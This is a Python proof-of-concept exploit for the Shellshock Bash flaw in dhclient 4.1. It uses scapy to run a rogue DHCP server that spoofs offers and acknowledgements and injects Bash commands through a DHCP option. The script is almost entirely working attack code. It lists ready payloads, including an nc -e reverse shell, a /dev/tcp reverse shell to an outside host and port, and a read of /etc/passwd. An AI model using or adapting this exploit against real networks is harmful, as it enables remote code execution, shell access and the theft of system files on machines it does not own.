dhclient 4.1 – Bash Environment Variable Command Injection (Shellshock)
#!/usr/bin/python # Exploit Title: ShellShock dhclient Bash Environment Variable Command Injection PoC # Date: 2014-09-29 # Author: @fdiskyou # e-mail: rui at deniable.org # Version: 4.1 # Tested on: Debian, Ubuntu, Kali # CVE: CVE-2014-6277, CVE-2014-6278, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187 from scapy.all import * conf.checkIPaddr = False fam,hw = get_if_raw_hwaddr(conf.iface) victim_assign_ip = "10.0.1.100" server_ip = "10.0.1.2" gateway_ip = "10.0.1.2" subnet_mask = "255.255.255.0" dns_ip = "8.8.8.8" spoofed_mac = "00:50:56:c0:00:01" payload = "() { ignored;}; echo 'moo'" payload_2 = "() { ignored;}; /bin/nc -e /bin/bash localhost 7777" payload_3 = "() { ignored;}; /bin/bash -i >& /dev/tcp/10.0.1.1/4444 0>&1 &" payload_4 = "() { ignored;}; /bin/cat /etc/passwd" payload_5 = "() { ignored;}; /usr/bin/wget http://google.com" rce = payload_5 def toMAC(strMac): cmList = strMac.split(":") hCMList = [] for iter1 in cmList: hCMList.append(int(iter1, 16)) hMAC = struct.pack('!B', hCMList[0]) + struct.pack('!B', hCMList[1]) + struct.pack('!B', hCMList[2]) + struct.pack('!B', hCMList[3]) + struct.pack('!B', hCMList[4]) + struct.pack('!B', hCMList[5]) return hMAC def detect_dhcp(pkt): # print 'Process ', ls(pkt) if DHCP in pkt: # if DHCP Discover then DHCP Offer if pkt[DHCP].options[0][1]==1: clientMAC = pkt[Ether].src print "DHCP Discover packet detected from " + clientMAC sendp( Ether(src=spoofed_mac,dst="ff:ff:ff:ff:ff:ff")/ IP(src=server_ip,dst="255.255.255.255")/ UDP(sport=67,dport=68)/ BOOTP( op=2, yiaddr=victim_assign_ip, siaddr=server_ip, giaddr=gateway_ip, chaddr=toMAC(clientMAC), xid=pkt[BOOTP].xid, sname=server_ip )/ DHCP(options=[('message-type','offer')])/ DHCP(options=[('subnet_mask',subnet_mask)])/ DHCP(options=[('name_server',dns_ip)])/ DHCP(options=[('lease_time',43200)])/ DHCP(options=[('router',gateway_ip)])/ DHCP(options=[('dump_path',rce)])/ DHCP(options=[('server_id',server_ip),('end')]), iface="vmnet1" ) print "DHCP Offer packet sent" # if DHCP Request than DHCP ACK if pkt[DHCP] and pkt[DHCP].options[0][1] == 3: clientMAC = pkt[Ether].src print "DHCP Request packet detected from " + clientMAC sendp( Ether(src=spoofed_mac,dst="ff:ff:ff:ff:ff:ff")/ IP(src=server_ip,dst="255.255.255.255")/ UDP(sport=67,dport=68)/ BOOTP( op=2, yiaddr=victim_assign_ip, siaddr=server_ip, giaddr=gateway_ip, chaddr=toMAC(clientMAC), xid=pkt[BOOTP].xid )/ DHCP(options=[('message-type','ack')])/ DHCP(options=[('subnet_mask',subnet_mask)])/ DHCP(options=[('lease_time',43200)])/ DHCP(options=[('router',gateway_ip)])/ DHCP(options=[('name_server',dns_ip)])/ DHCP(options=[('dump_path',rce)])/ DHCP(options=[('server_id',server_ip),('end')]), iface="vmnet1" ) print "DHCP Ack packet sent" def main(): #sniff DHCP requests sniff(filter="udp and (port 67 or 68)", prn=detect_dhcp, iface="vmnet1") if __name__ == '__main__': sys.exit(main()) |